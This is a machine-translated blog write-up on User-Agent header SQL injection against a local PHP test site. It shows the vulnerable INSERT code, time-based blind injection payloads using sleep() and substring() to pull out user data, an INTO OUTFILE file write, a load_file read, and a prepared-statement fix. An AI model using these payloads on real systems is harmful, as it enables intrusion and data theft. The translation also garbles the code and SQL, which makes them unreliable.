The rationale is simple: the background does not filter the UA when receiving UA, nor does the PDO interact with the data (the actual PDO is very necessary), causing the UA to have malicious code that is eventually executed in the database.
Bug Code:
Local hit an environment, Bug code part:
Save Visitor's IP information
$db =dbconnect (); $tbLog = $db->tbprefix. ' Log '; $EXECUTEARR =array (' ip ' = = ($_server["Http_via"])? $_server["Http_x_forwarded_for"]:$_server["REMOTE_ADDR"], ' UA ' =>$_server[' http_user_agent ', ' Visit_time ' =>date (' y-m-d h:i:s '); $db->autoexecute ($tbLog, $EXECUTEARR) ; $smarty =initsmarty (); $smarty->assign (' Do ', $do); $smarty->assign (' show ', $show); $smarty->assign (' URL ', $ URL); $smarty->display (' login.html ');
where the Autoexecute () method code is as follows:
Public Function Autoexecute ($table, $array =array (), $type = ' INSERT ', $where = ') {if (!empty ($array) &&!empty ($ Table) {switch (Strtoupper ($type)) {case ' insert ': $sql = "INSERT INTO {$table} (". Implode (', ', Array_keys ($array)). ") VALUES (' ". Implode (" ', ' ", Array_values ($array))." echo $sql; break;default:break;} return $this->execute ($sql);} Else{return false;}}
It can be seen that ip,ua this variable is inserted into the database without any filtering in SQL stitching.
Sqlmap Preliminary Study:
Because it was HTTP Header injection, it was decided to use the-R parameter to test for a simple brute-injection.
Use burp Agent to save the packet to Req.txt, the contents are as follows:
Get/index.php?do=login http/1.1host:localhostuser-agent:mozilla/5.0 (Windows NT 6.1; WOW64; rv:46.0) gecko/20100101 firefox/46.0accept:text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q= 0.8accept-language:zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3accept-encoding:gzip, deflatecookie:csrftoken= Zfppdqbdhjpj7xbh8z3amqaxhvv8vvcsconnection:keep-alive
Use Sqlmap.py-r req.txt--level 3 did not run out, posture is wrong??? decided to use their own hands to achieve their dreams ~ ~
Manual Injection Testing:
Using the Burp repeater module, modify the user-agent:
Get/index.php?do=login http/1.1host:localhostuser-agent:anka9080 ', (Select (Sleep (5))) #Accept: text/html, application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8accept-language:zh-cn,zh;q=0.8,en-us;q=0.5,en;q= 0.3accept-encoding:gzip, Deflatecookie:csrftoken=zfppdqbdhjpj7xbh8z3amqaxhvv8vvcsconnection:keep-alive
The results will be found waiting for 5s to receive the website return information, delay injection test Success ~ ~
After the request is sent, the actual SQL statement is executed as follows:
1 INSERT into Log(Ip,ua,visit_time)VALUES('127.0.0.1','Anka9080',(Select(Sleep (5))))#',' .- to- - -: the: A')
Further analysis of this SQL statement:
The Select (Sleep (5)) returns 0, the outer layer with a pair of parentheses, the equivalent of a single quotation mark ("), and a closing parenthesis) to close the left parenthesis of VALUES, similar to the insertion of a character, followed by the # is an annotation, the original time and other data to comment out, Ensure that this is an executable SQL statement.
Guess the data, read the file:
The table created in the database beforehand user (User,pass) has an entry admin,admin666
By using sleep to determine the time-based delay injection, the following hand constructs the user name and according to the corresponding time to determine whether there is a user (in the UA position to execute the entire SQL to judge):
Change the UA value to the following:
user-agent:anka9080 ', (select Sleep (5) from user where substring (user,1,1) = ' A ')) #
The SQL executed is
INSERT into log (ip,ua,visit_time) VALUES (' 127.0.0.1 ', ' Anka9080 ', (select Sleep (5) from user where substring (user,1,1) = ' A ')) # ', ' 2016-05-26 21:04:49 ')
If there is data in the user table that begins with a, it is delayed by 5 seconds to return the page.
Of course, the user is generally first to do a fuzzing, the where conditions to remove it.
Similarly, use substring (user,1,n) to determine what the nth character is, and then get the full value of the field.
Already able to read out the data, try to read and write files, theoretically have permission to do.
Read the contents of the user table and write it to the server file:
INSERT into log (IP,UA,DT) VALUES (' 127.0.0.1 ', ' Anka9080 ', (SELECT * from user into outfile ' disk/absolute path/1.txt ') # ', ' 2016-05-26 21:30:04 '
I don't know why I didn't execute it successfully in SQL query.
SELECT * from user to outfile ' disk/absolute path/1.txt '
Yes, I can.
If the injection point is a position with an output, the
Using ID = 1 Union Select 1, loadfile (' Disk/absolute path/1.txt ') from message to read the contents of the file to the page display
In addition, the injection of other HTTP headers is the same as user-agent injection.
As for the defense of SQL injection, pre-compile it, simple and reliable, do not need to do any filtering, do "Data and code separation
<?php $link = new mysqli (' localhost ', ' analytics_user ', ' Asecurepassword ', ' analytics_db '); $stmt = $link->prepare ("INSERT into visits (UA, DT) VALUES (?,?)"); $stmt->bind_param ("ss", $_server["Http_user_agent"], date ("y-m-d h:i:s")); $stmt->execute ();? >
Reference article: http://www.freebuf.com/articles/web/105124.html
Probe and utilization analysis of "SQL injection" user-agent manual injection